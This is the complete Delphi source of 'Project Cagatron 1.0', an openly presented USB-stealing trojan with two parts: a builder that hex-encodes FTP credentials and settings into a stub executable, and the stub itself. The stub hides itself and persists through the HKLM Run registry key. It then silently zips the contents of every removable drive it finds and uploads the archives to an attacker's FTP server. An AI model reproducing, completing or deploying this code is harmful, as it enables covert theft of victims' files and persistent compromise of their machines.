[Delphi] Project Cagatron 1.0

// Project Cagatron 1.0
// (C) Doddy Hackman 2015
// Based on Ladron by Khronos

unit caga;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, sevenzip, Vcl.ComCtrls, Vcl.StdCtrls,
  ShellApi,
  Vcl.Menus, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdExplicitTLSClientServerBase, IdFTP, Vcl.ExtCtrls, Vcl.Imaging.pngimage;

type
  TForm1 = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    StatusBar1: TStatusBar;
    PageControl2: TPageControl;
    TabSheet4: TTabSheet;
    usb_found: TListView;
    TabSheet5: TTabSheet;
    TabSheet6: TTabSheet;
    GroupBox1: TGroupBox;
    Label1: TLabel;
    ftp_host: TEdit;
    Label2: TLabel;
    ftp_user: TEdit;
    Label3: TLabel;
    ftp_pass: TEdit;
    Label4: TLabel;
    ftp_path: TEdit;
    GroupBox2: TGroupBox;
    enter_usb: TEdit;
    Button1: TButton;
    Button2: TButton;
    GroupBox3: TGroupBox;
    upload_ftp_server: TRadioButton;
    TabSheet7: TTabSheet;
    GroupBox4: TGroupBox;
    console: TMemo;
    TabSheet8: TTabSheet;
    only_logs: TRadioButton;
    logs: TListView;
    rutas: TListBox;
    menu: TPopupMenu;
    L1: TMenuItem;
    IdFTP1: TIdFTP;
    buscar_usb: TTimer;
    otromenu: TPopupMenu;
    S1: TMenuItem;
    opcion_text: TEdit;
    PageControl3: TPageControl;
    TabSheet9: TTabSheet;
    TabSheet10: TTabSheet;
    GroupBox5: TGroupBox;
    Label5: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    Label8: TLabel;
    ftp_host2: TEdit;
    ftp_user2: TEdit;
    ftp_pass2: TEdit;
    ftp_path2: TEdit;
    GroupBox7: TGroupBox;
    directorios: TComboBox;
    GroupBox6: TGroupBox;
    foldername: TEdit;
    Button3: TButton;
    GroupBox8: TGroupBox;
    Image1: TImage;
    Label9: TLabel;
    Image2: TImage;
    GroupBox9: TGroupBox;
    hide_file: TCheckBox;
    upload_ftp: TCheckBox;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure list_files;
    procedure L1Click(Sender: TObject);
    procedure buscar_usbTimer(Sender: TObject);
    procedure S1Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

function usb_name(checked: Char): string;
// Based on http://delphitutorial.info/get-volume-name.html
var
  uno, dos: DWORD;
  resultnow: array [0 .. MAX_PATH] of Char;
begin
  try
    GetVolumeInformation(PChar(checked + ':/'), resultnow, sizeof(resultnow),
      nil, uno, dos, nil, 0);
    Result := StrPas(resultnow);
  except
    Result := checked;
  end;
end;

function check_drive(target: string): boolean;
var
  a, b, c: cardinal;
begin
  Result := GetVolumeInformation(PChar(target), nil, 0, @c, a, b, nil, 0);
end;

function file_size(target: String): integer;
var
  busqueda: TSearchRec;
begin
  Result := 0;
  try
    begin
      if FindFirst(target + '\*.*', faAnyFile + faDirectory + faReadOnly,
        busqueda) = 0 then
      begin
        repeat
          Inc(Result);
        until FindNext(busqueda) <> 0;
        System.SysUtils.FindClose(busqueda);
      end;
    end;
  except
    Result := 0;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  if not DirectoryExists('logs') then
  begin
    CreateDir('logs');
  end;
  Chdir('logs');
  list_files;
end;

procedure TForm1.L1Click(Sender: TObject);
begin
  ShellExecute(0, nil, PChar(rutas.Items[logs.Selected.Index]), nil, nil,
    SW_SHOWNORMAL);
end;

procedure TForm1.list_files;
var
  search: TSearchRec;
  ext: string;
  fecha1: integer;
begin

  logs.Items.Clear();
  rutas.Items.Clear();

  FindFirst(ExtractFilePath(Application.ExeName) + 'logs' + '\*.*',
    faAnyFile, search);
  while FindNext(search) = 0 do
  begin
    ext := ExtractFileExt(search.Name);
    if (ext = '.zip') then
    begin
      with logs.Items.Add do
      begin
        fecha1 := FileAge(ExtractFilePath(Application.ExeName) + 'logs/' +
          search.Name);
        rutas.Items.Add(ExtractFilePath(Application.ExeName) + 'logs/' +
          search.Name);
        Caption := search.Name;
        SubItems.Add(DateToStr(FileDateToDateTime(fecha1)));
      end;
    end;
  end;
  FindClose(search);
end;

procedure TForm1.S1Click(Sender: TObject);
begin
  opcion_text.Text := usb_found.Selected.Caption;
  enter_usb.Text := usb_found.Selected.SubItems[1];
end;

procedure TForm1.buscar_usbTimer(Sender: TObject);
var
  unidad: Char;
begin
  usb_found.Items.Clear();
  for unidad := 'C' to 'Z' do
  begin
    if (check_drive(PChar(unidad + ':\')) = True) and
      (GetDriveType(PChar(unidad + ':\')) = DRIVE_REMOVABLE) then
    begin
      with usb_found.Items.Add do
      begin
        Caption := usb_name(unidad);
        SubItems.Add(IntToStr(file_size(unidad + ':\')));
        SubItems.Add(unidad + ':\');
      end;
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  with TFileOpenDialog.Create(nil) do
    try
      Options := [fdoPickFolders];
      if Execute then
        enter_usb.Text := Filename;
    finally
      Free;
    end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  zipnow: I7zOutArchive;
  busqueda: TSearchRec;
  code: string;
  dirnow: string;
  guardar: string;

begin

  dirnow := enter_usb.Text;

  if not FileExists(PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'))
  then
  begin
    CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
      PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);
  end;

  if not(opcion_text.Text = '') then
  begin
    guardar := opcion_text.Text + '.zip';
  end
  else
  begin
    guardar := ExtractFileName(dirnow) + '.zip';
  end;

  StatusBar1.Panels[0].Text := '[+] Saving ...';
  Form1.StatusBar1.Update;

  console.Lines.Add('[+] Saving ..');

  zipnow := CreateOutArchive(CLSID_CFormat7z);
  SetCompressionLevel(zipnow, 9);
  SevenZipSetCompressionMethod(zipnow, m7LZMA);

  if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
    busqueda) = 0 then
  begin
    repeat
      if (busqueda.Attr = faDirectory) then
      begin
        if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
        begin
          console.Lines.Add('[+] Saving Directory : ' + busqueda.Name);
          // StatusBar1.Panels[0].Text := '[+] Saving Directory : ' + busqueda.Name;
          // Form1.StatusBar1.Update;
          zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
            '*.*', True);
        end;
      end
      else
      begin
        console.Lines.Add('[+] Saving File : ' + busqueda.Name);
        // StatusBar1.Panels[0].Text := '[+] Saving File : ' + busqueda.Name;
        // Form1.StatusBar1.Update;
        zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
      end;
    until FindNext(busqueda) <> 0;
    System.SysUtils.FindClose(busqueda);
  end;

  zipnow.SaveToFile(guardar);

  if (upload_ftp_server.checked) then
  begin
    IdFTP1.Host := ftp_host.Text;
    IdFTP1.Username := ftp_user.Text;
    IdFTP1.Password := ftp_pass.Text;
    try
      IdFTP1.Connect;
    except
      StatusBar1.Panels[0].Text := '[-] Error Uploading';
      Form1.StatusBar1.Update;
    end;

    StatusBar1.Panels[0].Text := '[+] Uploading ...';
    Form1.StatusBar1.Update;

    IdFTP1.ChangeDir(ftp_path.Text);
    IdFTP1.Put(guardar, guardar, False);
  end;

  list_files;

  console.Lines.Add('[+] Ready');

  StatusBar1.Panels[0].Text := '[+] Ready';
  Form1.StatusBar1.Update;

  opcion_text.Text := '';

end;

procedure TForm1.Button3Click(Sender: TObject);
var
  lineafinal: string;
  hidefile: string;
  uploadftp: string;
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  stubgenerado: string;

begin

  if (hide_file.checked) then
  begin
    hidefile := '1';
  end
  else
  begin
    hidefile := '0';
  end;

  if (upload_ftp.checked) then
  begin
    uploadftp := '1';
  end
  else
  begin
    uploadftp := '0';
  end;

  lineafinal := '[63686175]' + dhencode('[online]1[online]' + '[directorios]' +
    directorios.Text + '[directorios]' + '[carpeta]' + foldername.Text +
    '[carpeta]' + '[ocultar]' + hidefile + '[ocultar]' + '[ftp_op]' + uploadftp
    + '[ftp_op]' + '[ftp_host]' + ftp_host.Text + '[ftp_host]' + '[ftp_user]' +
    ftp_user.Text + '[ftp_user]' + '[ftp_pass]' + ftp_pass.Text + '[ftp_pass]' +
    '[ftp_path]' + ftp_path.Text + '[ftp_path]', 'encode') + '[63686175]';

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  stubgenerado := 'cagatron_ready.exe';

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
    'Data/cagatron_server.exe'), PChar(ExtractFilePath(Application.ExeName) +
    '/' + stubgenerado), True);

  CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
    PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);

  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar(ExtractFilePath(Application.ExeName) +
    '/cagatron_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  StatusBar1.Panels[0].Text := '[+] Done';
  Form1.StatusBar1.Update;

end;

end.

// The End ?

// Project Cagatron 1.0
// (C) Doddy Hackman 2015
// Based on Ladron by Khronos

program cagatron_server;

{$APPTYPE GUI}
{$R *.res}

uses
  SysUtils, WinInet, Windows, sevenzip;

var
  directorio, directorio_final, carpeta, nombrereal, yalisto: string;
  hide_op: string;
  registro: HKEY;
  ftp_op, ftp_host, ftp_user, ftp_pass, ftp_path: string;
  online: string;

  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;

  // Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure comprimir(dirnow, guardar: string);
var
  zipnow: I7zOutArchive;
  busqueda: TSearchRec;
begin

  zipnow := CreateOutArchive(CLSID_CFormat7z);
  SetCompressionLevel(zipnow, 9);
  SevenZipSetCompressionMethod(zipnow, m7LZMA);

  if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
    busqueda) = 0 then
  begin
    repeat
      if (busqueda.Attr = faDirectory) then
      begin
        if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
        begin
          zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
            '*.*', True);
        end;
      end
      else
      begin
        zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
      end;
    until FindNext(busqueda) <> 0;
    System.SysUtils.FindClose(busqueda);
  end;

  zipnow.SaveToFile(guardar);

  if (hide_op = '1') then
  begin
    SetFileAttributes(pchar(guardar), FILE_ATTRIBUTE_HIDDEN);
  end;

end;

function usb_name(checked: Char): string;
// Based on http://delphitutorial.info/get-volume-name.html
var
  uno, dos: DWORD;
  resultnow: array [0 .. MAX_PATH] of Char;
begin
  try
    GetVolumeInformation(pchar(checked + ':/'), resultnow, sizeof(resultnow),
      nil, uno, dos, nil, 0);
    Result := StrPas(resultnow);
  except
    Result := checked;
  end;
end;

function check_drive(target: string): boolean;
var
  a, b, c: cardinal;
begin
  Result := GetVolumeInformation(pchar(target), nil, 0, @c, a, b, nil, 0);
end;

function check_file_ftp(host, username, password, archivo: pchar): integer;
var
  controluno: HINTERNET;
  controldos: HINTERNET;
  abriendo: HINTERNET;
  valor: integer;

begin

  controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
  controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
    username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);

  abriendo := ftpOpenfile(controldos, pchar(archivo), GENERIC_READ,
    FTP_TRANSFER_TYPE_BINARY, 0);
  valor := ftpGetFileSize(abriendo, nil);

  InternetCloseHandle(controldos);
  InternetCloseHandle(controluno);

  Result := valor;

end;

procedure upload_ftpfile(host, username, password, filetoupload,
  conestenombre: pchar);

// Credits :
// Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
// Thanks to Omair Iqbal

var
  controluno: HINTERNET;
  controldos: HINTERNET;

begin

  try

    begin
      controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
      controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
        username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
      ftpPutFile(controldos, filetoupload, conestenombre,
        FTP_TRANSFER_TYPE_BINARY, 0);
      InternetCloseHandle(controldos);
      InternetCloseHandle(controluno);
    end
  except
    //
  end;
end;

procedure buscar_usb;
var
  unidad: Char;
  usb_target, usb_nombre: string;
begin
  while (1 = 1) do
  begin
    Sleep(5000);
    for unidad := 'C' to 'Z' do
    begin
      if (check_drive(pchar(unidad + ':\')) = True) and
        (GetDriveType(pchar(unidad + ':\')) = DRIVE_REMOVABLE) then
      begin
        usb_target := unidad + ':\';
        usb_nombre := usb_name(unidad) + '.zip';
        if not(FileExists(usb_nombre)) then
        begin
          // Writeln('[+] Saving ' + usb_target + ' : ' + usb_nombre + ' ...');
          comprimir(usb_target, usb_nombre);
          // Writeln('[+] Saved');
          if (ftp_op = '1') then
          begin
            // Writeln('[+] Checking file in FTP ...');
            if (check_file_ftp(pchar(ftp_host), pchar(ftp_user),
              pchar(ftp_pass), pchar('/' + ftp_path + '/' + usb_nombre)) = -1)
            then
            begin
              // Writeln('[+] Uploading ...');
              upload_ftpfile(pchar(ftp_host), pchar(ftp_user), pchar(ftp_pass),
                pchar(usb_nombre), pchar('/' + ftp_path + '/' + usb_nombre));
              // Writeln('[+] Done');
            end
            else
            begin
              // Writeln('[+] File exists');
            end;
          end;
        end;
      end;
    end;
  end;
end;

begin

  try

    ob := INVALID_HANDLE_VALUE;
    code := '';

    ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (ob <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(ob, -9999, nil, FILE_END);
      ReadFile(ob, code, 9999, nose, nil);
      CloseHandle(ob);
    end;

    todo := regex(code, '[63686175]', '[63686175]');
    todo := dhencode(todo, 'decode');

    directorio := pchar(regex(todo, '[directorios]', '[directorios]'));
    carpeta := pchar(regex(todo, '[carpeta]', '[carpeta]'));
    directorio_final := GetEnvironmentVariable(directorio) + '/' + carpeta;
    hide_op := pchar(regex(todo, '[ocultar]', '[ocultar]'));

    ftp_op := pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
    ftp_host := pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
    ftp_user := pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
    ftp_pass := pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
    ftp_path := pchar(regex(todo, '[ftp_path]', '[ftp_path]'));

    online := pchar(regex(todo, '[online]', '[online]'));

    if (online = '1') then
    begin
      nombrereal := ExtractFileName(paramstr(0));
      yalisto := directorio_final + '/' + nombrereal;

      if not(DirectoryExists(directorio_final)) then
      begin
        CreateDir(directorio_final);
      end;

      // CopyFile(pchar(paramstr(0)), pchar(yalisto), False);
      MoveFile(pchar(paramstr(0)), pchar(yalisto));
      if (hide_op = '1') then
      begin
        SetFileAttributes(pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
      end;
      if (FileExists('7z.dll')) then
      begin
        // CopyFile(pchar('7z.dll'),
        // pchar(directorio_final + '/' + '7z.dll'), False);
        MoveFile(pchar('7z.dll'), pchar(directorio_final + '/' + '7z.dll'));
        if (hide_op = '1') then
        begin
          SetFileAttributes(pchar(directorio_final + '/' + '7z.dll'),
            FILE_ATTRIBUTE_HIDDEN);
        end;
      end;

      ChDir(directorio_final);

      if (hide_op = '1') then
      begin
        SetFileAttributes(pchar(directorio_final), FILE_ATTRIBUTE_HIDDEN);
      end;

      try
        begin
          RegCreateKeyEx(HKEY_LOCAL_MACHINE,
            'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
            REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
          RegSetValueEx(registro, 'uberk', 0, REG_SZ, pchar(yalisto), 666);
          RegCloseKey(registro);
        end;
      except
        //
      end;

      // Writeln('[+] Searching USB ...');

      BeginThread(nil, 0, @buscar_usb, nil, 0, PDWORD(0)^);

      while (1 = 1) do
        Sleep(5000);
    end
    else
    begin
      // Writeln('[+] Offline');
    end;

  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;

end.

// The End ?